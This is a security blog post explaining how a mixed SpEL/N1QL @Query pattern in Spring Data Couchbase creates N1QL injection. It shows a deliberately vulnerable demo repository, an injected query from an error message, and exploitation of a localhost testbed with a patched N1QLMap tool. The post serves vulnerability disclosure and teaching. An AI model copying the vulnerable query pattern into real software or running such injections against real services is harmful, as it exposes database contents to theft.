Blog https://www.gremwell.com/ en Improper Spring @Query Usage Allows N1QL Injection https://www.gremwell.com/spring-n1ql-injection <span>Improper Spring @Query Usage Allows N1QL Injection</span> <div><ul class="table-of-contents"> <li> <p><a href="#summary">Summary</a></p> </li> <li> <p><a href="#tldr">TL;DR</a></p> </li> <li> <p><a href="#intro">Intro</a></p> </li> <li> <p><a href="#testbed">Testbed</a></p> <ul> <li> <p><a href="#couchbase">Couchbase</a></p> </li> <li> <p><a href="#spring-project">Spring Project</a></p> </li> <li> <p><a href="#build">Build</a></p> </li> </ul> </li> <li> <p><a href="#experiments">Experiments</a></p> <ul> <li> <p><a href="#exploitation">Exploitation</a></p> </li> </ul> </li> <li> <p><a href="#conclusion">Conclusion</a></p> </li> </ul> <h2><a id="user-content-summary" href="#summary" name="summary" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Summary</h2> <p>Spring applications quite often use <code>@Query</code> annotation. It helps to control requests executed by database servers, like customising what data to extract. It is <a rel="noopener noreferrer" target="_blank" href="https://stackoverflow.com/questions/28050710/">usually assumed</a> that <code>@Query</code> is safe as parameterised queries are used. (Un)fortunately, Spring supports quite complex syntax of <code>@Query</code> which leads to complexity and, inadvertently, errors.</p> <p>In this short blog post we demonstrate an example of how to use <code>@Query</code> improperly to introduce SQL (in fact, NoSQL) injection vulnerability. We will use NoSQL database <a rel="noopener noreferrer" target="_blank" href="https://couchbase.com">Couchbase</a> which supports <a rel="noopener noreferrer" target="_blank" href="https://docs.couchbase.com/server/current/n1ql/n1ql-language-reference/index.html">N1QL</a> syntax. We also demonstrate how such injection can be exploited using <a rel="noopener noreferrer" target="_blank" href="https://github.com/FSecureLABS/N1QLMap">N1QLMap</a> tool.</p> <h2><a id="user-content-tldr" href="#tldr" name="tldr" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TL;DR</h2> <p>It indeed may be too long to read. :) We have found a construct that is often used in Java code for N1QL queries, that appear to be safe at first glance, but actually leads to N1QL injection:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">&nbsp; &nbsp; @Query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = '#{[1]}'&quot;</span><span style="color: #009900;">&#41;</span><br /> &nbsp; &nbsp; List<span style="color: #339933;">&lt;</span>Person<span style="color: #339933;">&gt;</span> vulnFind<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> field, <span style="color: #003399;">String</span> val<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div> <p>Exploiting this using <a rel="noopener noreferrer" target="_blank" href="https://github.com/FSecureLABS/N1QLMap">N1QLMap</a> by FSecure allows extracting database meta information and any data from the Couchbase bucket. This post provides some background information, project example and exploitation example.</p> <h2><a id="user-content-intro" href="#intro" name="intro" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intro</h2> <p>This happened during one of our regular assessments of a customer's REST services. We did not expect any high severity issues there. What could go wrong with Sping-based REST services? Well, of course a lot: access control issues, business logic discrepancies and so on. But the last thing we expected is a SQL injection finding reported by Burp's Automated Scanner.</p> <p>The scanner was not able to determine database used by the backend, but, thanks to the observed error message, it was definitely Couchbase. Traditional <a rel="noopener noreferrer" target="_blank" href="https://github.com/sqlmapproject/sqlmap">SQLMap</a> tool is not able to exploit such cases. Thus, the spotted SQL injection requires some specific tooling.</p> <p>The affected REST service had some features complicating exploitation: no verbose error messages and hardcoded request timeout which eliminated time-based queries abuse. Because of that we decided to set up a testbed and use it to nail down the injection.</p> <h2><a id="user-content-testbed" href="#testbed" name="testbed" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Testbed</h2> <h3><a id="user-content-couchbase" href="#couchbase" name="couchbase" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Couchbase</h3> <p>Let's start with Couchbase as it is easy to do and is mostly unrelated to the rest of the discussion.</p> <p>This project can be taken as a test environment: <a rel="noopener noreferrer" target="_blank" href="https://hub.docker.com/r/couchbase/analytics-demo/">https://hub.docker.com/r/couchbase/analytics-demo/</a> Its index page describes what needs to be done. However, there are no specific requirements for Couchbase setup, so any other project/container can be used.</p> <p>Once Couchbase instance is up and running, a bucket needs to be created there. The bucket name depends on the project described below. It is <code>demo</code> in our case.</p> <h3><a id="user-content-spring-project" href="#spring-project" name="spring-project" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Spring Project</h3> <p>We started with preparing a simple &quot;Hello World&quot; Spring project which provides REST interface to a Couchbase bucket. The idea was to understand what developer is allowed do and what can be done wrong.</p> <p>The entry point from our perspective is some endpoint to fetch a specified data instance (or &quot;document&quot; in terms of NoSQL databases). Here is an excerpt of a controller which returns an entity by its identifier:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">&nbsp; &nbsp; @GetMapping<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/{id}&quot;</span><span style="color: #009900;">&#41;</span><br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> Person findOne<span style="color: #009900;">&#40;</span>@PathVariable <span style="color: #003399;">String</span> id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> personRepository.<span style="color: #006633;">findById</span><span style="color: #009900;">&#40;</span>id<span style="color: #009900;">&#41;</span>.<span style="color: #006633;">orElseThrow</span><span style="color: #009900;">&#40;</span>PersonNotFoundException<span style="color: #339933;">::</span><span style="color: #000000; font-weight: bold;">new</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></div> <p><code>Person</code> class is not of particular interest, it is just a simple container of fields, with getters and setters:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.springframework.data.annotation.Id</span><span style="color: #339933;">;</span><br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.springframework.data.couchbase.core.mapping.Document</span><span style="color: #339933;">;</span><br /> <br /> @<span style="color: #003399;">Document</span><br /> <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Person <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; @Id<br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">String</span> id<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">String</span> firstName<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">String</span> lastName<span style="color: #339933;">;</span><br /> <br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getId<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> id<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> <br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> setId<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">id</span> <span style="color: #339933;">=</span> id<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> <br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getFirstName<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> firstName<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> <br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> setFirstName<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> firstName<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">firstName</span> <span style="color: #339933;">=</span> firstName<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> <br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getLastName<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> lastName<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> <br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> setLastName<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> lastName<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">lastName</span> <span style="color: #339933;">=</span> lastName<span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> <span style="color: #009900;">&#125;</span></div></div> <p><code>PersonRepository</code> class however is something that needs a closer look. In its simplest form it does not have any methods at all:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.springframework.data.couchbase.repository.CouchbaseRepository</span><span style="color: #339933;">;</span><br /> <span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">org.springframework.stereotype.Repository</span><span style="color: #339933;">;</span><br /> <br /> @<span style="color: #003399;">Repository</span><br /> <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">interface</span> PersonRepository <span style="color: #000000; font-weight: bold;">extends</span> CouchbaseRepository<span style="color: #339933;">&lt;</span>Person, String<span style="color: #339933;">&gt;</span> <span style="color: #009900;">&#123;</span><br /> <span style="color: #009900;">&#125;</span></div></div> <p><code>findById()</code> method is automagically handled by <code>CouchbaseRepository</code>. It will extract only one entity from Couchbase bucket which has identifier field (marked with <code>@Id</code> annotation) equal to the requested <code>id</code>.</p> <p>Let's say we want to obtain persons which have the specific first name. We create a new controller's endpoint for that:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">&nbsp; &nbsp; @GetMapping<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/fname/{firstName}&quot;</span><span style="color: #009900;">&#41;</span><br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> List<span style="color: #339933;">&lt;</span>Person<span style="color: #339933;">&gt;</span> findByFList<span style="color: #009900;">&#40;</span>@PathVariable <span style="color: #003399;">String</span> firstName<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> personRepository.<span style="color: #006633;">findByFirstName</span><span style="color: #009900;">&#40;</span>firstName<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></div> <p>And the corresponding repository method:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">@<span style="color: #003399;">Repository</span><br /> <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">interface</span> PersonRepository <span style="color: #000000; font-weight: bold;">extends</span> CouchbaseRepository<span style="color: #339933;">&lt;</span>Person, String<span style="color: #339933;">&gt;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; List<span style="color: #339933;">&lt;</span>Person<span style="color: #339933;">&gt;</span> findByFirstName<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> firstName<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> <span style="color: #009900;">&#125;</span></div></div> <p>Does not look vulnerable yet. However, <a rel="noopener noreferrer" target="_blank" href="https://github.com/spring-projects/spring-data-couchbase/issues/564">this</a> issue suggests different. Surprisingly, this report was declined. Interesting. Let's dive deeper and create an endpoint which gives us more control on what we request from the database:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">&nbsp; &nbsp; @PostMapping<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/vuln&quot;</span><span style="color: #009900;">&#41;</span><br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> List<span style="color: #339933;">&lt;</span>Person<span style="color: #339933;">&gt;</span> vuln<span style="color: #009900;">&#40;</span>@RequestBody VulnData data<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> personRepository.<span style="color: #006633;">vulnFind</span><span style="color: #009900;">&#40;</span>data.<span style="color: #006633;">getParam</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, data.<span style="color: #006633;">getValue</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></div> <p>Here we use a simple model class which has just two parameters <code>param</code> and <code>value</code>. <code>value</code> defines what to request and <code>param</code> defines what field to use for the value. Here is the corresponding repository method which we can use for experiments with Sping @Query annotation:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">&nbsp; &nbsp; @Query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#{#n1ql.selectEntity} WHERE firstName = $2&quot;</span><span style="color: #009900;">&#41;</span><br /> &nbsp; &nbsp; List<span style="color: #339933;">&lt;</span>Person<span style="color: #339933;">&gt;</span> vulnFind<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> field, <span style="color: #003399;">String</span> val<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div> <p>Now let's proceed with our experiments.</p> <h3><a id="user-content-build" href="#build" name="build" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Build</h3> <p>Well, to run experiments we need to build the project first. The project is on Github, <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/n1ql-demo">n1ql-demo</a>. Run <code>mvn compile</code> to compile the source code and <code>mvn spring-boot:run</code> to run the Spring application.</p> <h2><a id="user-content-experiments" href="#experiments" name="experiments" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Experiments</h2> <p>In the following code snippet we use a <code>@Query</code> annotation to narrow down our interests in data extraction:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">&nbsp; &nbsp; @Query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#{#n1ql.selectEntity} WHERE firstName = $2&quot;</span><span style="color: #009900;">&#41;</span><br /> &nbsp; &nbsp; List<span style="color: #339933;">&lt;</span>Person<span style="color: #339933;">&gt;</span> vulnFind<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> field, <span style="color: #003399;">String</span> val<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div> <p><code>#{#n1ql.selectEntity}</code> is a <a rel="noopener noreferrer" target="_blank" href="https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html">Spring Expression Language</a> expression (<code>#{}</code>) which references N1QL addition to Spring &quot;data&quot; framework. <code>.selectEntity</code> statement extracts all fields of the corresponding bucket entity. What entity to select is specified by <code>WHERE firstName = $1</code> statement. This is quite self-explanatory: we select only entities which have <code>firstName</code> field equal to some value. The value in this example is the second parameter of the annotated method -- <code>val</code>.</p> <p>The provided example is a parameterised query. Spring, when handling such queries, mitigates context breaking by escaping quotes.</p> <p>Alternatively, developer can opt for named parameters. In this case the syntax should be the following:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">&nbsp; &nbsp; @Query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#{#n1ql.selectEntity} USE KEYS $id&quot;</span><span style="color: #009900;">&#41;</span><br /> &nbsp; &nbsp; List<span style="color: #339933;">&lt;</span>Person<span style="color: #339933;">&gt;</span> vulnFind<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> field, @Param<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #003399;">String</span> id<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div> <p>This is also a parameterised query. We do not expect to spot injections here. At least when using the most recent version of <code>spring-data-couchbase</code> artifact, <code>4.2.4</code>, at the moment of this blog post.</p> <p>All the examples above we collected from <a rel="noopener noreferrer" target="_blank" href="https://docs.spring.io/spring-data/couchbase/docs/current/reference/html/#couchbase.repository.n1ql">this</a> introductory article. Among them there was a quite suspicious one which &quot;mixes SpEL and N1QL placeholders&quot;:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">@Query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = $2&quot;</span><span style="color: #009900;">&#41;</span><br /> <span style="color: #000000; font-weight: bold;">public</span> List<span style="color: #339933;">&lt;</span>User<span style="color: #339933;">&gt;</span> findUsersByDynamicCriteria<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> criteriaField, <span style="color: #003399;">Object</span> criteriaValue<span style="color: #009900;">&#41;</span></div></div> <p>It appears that in addition to referencing parameters by <code>$X</code> we can use <code>#{[X]}</code> syntax. Let's try that!</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">&nbsp; &nbsp; @Query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = #{[1]}&quot;</span><span style="color: #009900;">&#41;</span><br /> &nbsp; &nbsp; List<span style="color: #339933;">&lt;</span>Person<span style="color: #339933;">&gt;</span> vulnFind<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> field, <span style="color: #003399;">String</span> val<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div> <p>Here we expect that this query will compare document field specified in <code>field</code> parameter to value in <code>val</code> parameter. However, when we ask for a person with <code>firstName</code> equal to <code>SomeFirstName</code> it does not return anything (well, we assume that such document exists).</p> <p>Ah, may be it inserts value as-is and string comparison does not work? Let's add quotes:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;">&nbsp; &nbsp; @Query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = '#{[1]}'&quot;</span><span style="color: #009900;">&#41;</span><br /> &nbsp; &nbsp; List<span style="color: #339933;">&lt;</span>Person<span style="color: #339933;">&gt;</span> vulnFind<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> field, <span style="color: #003399;">String</span> val<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div> <p>It works! But wait, quotes... What if we insert one in our field value? Yep, it triggers database exception as query context was broken. Here is the request we observed in the Spring exception message:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">&quot;statement&quot;:&quot;SELECT META(`demo1`).id AS __id, META(`demo1`).cas AS __cas,<br /> &nbsp;`demo1`.* FROM `demo1` WHERE `_class` =<br /> &nbsp;\&quot;com.example.demo.persistence.model.Person\&quot; AND firstName = 'LONGFIR'STNAME'&quot;</div></div> <p>This is an injection. N1QL injection to be precise. Now it is time to exploit it.</p> <h3><a id="user-content-exploitation" href="#exploitation" name="exploitation" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Exploitation</h3> <p>It is interesting to exploit the finding in automated way. We can not use <a rel="noopener noreferrer" target="_blank" href="https://github.com/sqlmapproject/sqlmap">SQLMap</a> tool here as it is literally NoSQL injection.</p> <p>Good people of <a rel="noopener noreferrer" target="_blank" href="https://f-secure.com/">F-Secure</a> already wrote a tool for this purpose. They also provided a great introduction to NoSQL injection exploitation. You can find it <a rel="noopener noreferrer" target="_blank" href="https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database/">here</a>.</p> <p>In order to use their tool, <a rel="noopener noreferrer" target="_blank" href="https://github.com/FSecureLABS/N1QLMap">N1QLMap</a>, we have to prepare a request file:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">POST /api/persons/vuln HTTP/1.1<br /> Host: 127.0.0.1:8081<br /> User-Agent: curl/7.78.0<br /> Accept: */*<br /> Content-Type: application/json<br /> <br /> { &quot;param&quot;:&quot;firstName&quot;, &quot;value&quot;: &quot;*i*&quot; }</div></div> <p>We noted that the tool does not properly handle requests with body. This small change is required:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">--- a/controllers/n1qlinjector.py<br /> +++ b/controllers/n1qlinjector.py<br /> @@ -85,8 +85,9 @@ class N1QLInjector:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;url = url.replace(self.injection_point, payload)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;request = Request(method, url.decode(self.encoding))<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;prep_req = self.session.prepare_request(request)<br /> - &nbsp; &nbsp; &nbsp; &nbsp;if prep_req.body is not None:<br /> - &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;prep_req.body = self.base_request.body.replace(self.injection_point, payload)<br /> + &nbsp; &nbsp; &nbsp; &nbsp;#if prep_req.body is not None:<br /> + &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;prep_req.body = self.base_request.body.replace(self.injection_point, payload)<br /> + &nbsp; &nbsp; &nbsp; &nbsp;prep_req.body = self.base_request.body.replace(self.injection_point, payload)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;payload = payload.decode(self.encoding)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;replace_chars = self.injection_point.decode(self.encoding)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for header_name in self.base_request.headers:</div></div> <p>Running the tool with a proper set of parameters returns the expected outcome:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">❯ ./n1qlMap.py --request ./req1.txt --keyword &quot;firstName&quot; --datastores http://127.0.0.1:8081/<br /> [*] Datastores extraction process started<br /> [*] Extracted data:<br /> \{&quot;datastores&quot;:{&quot;id&quot;:&quot;http://127.0.0.1:8091&quot;,&quot;url&quot;:&quot;http://127.0.0.1:8091&quot;}}]</div></div> <p>Here we asked the tool to execute requests based on the content of <code>req1.txt</code> file. Put injection in place of <code>*i*</code> spot. Expect &quot;firstName&quot; string in responses of successful requests (this is essential for this tool to work). We also asked to extract Couchbase &quot;datastores&quot;. 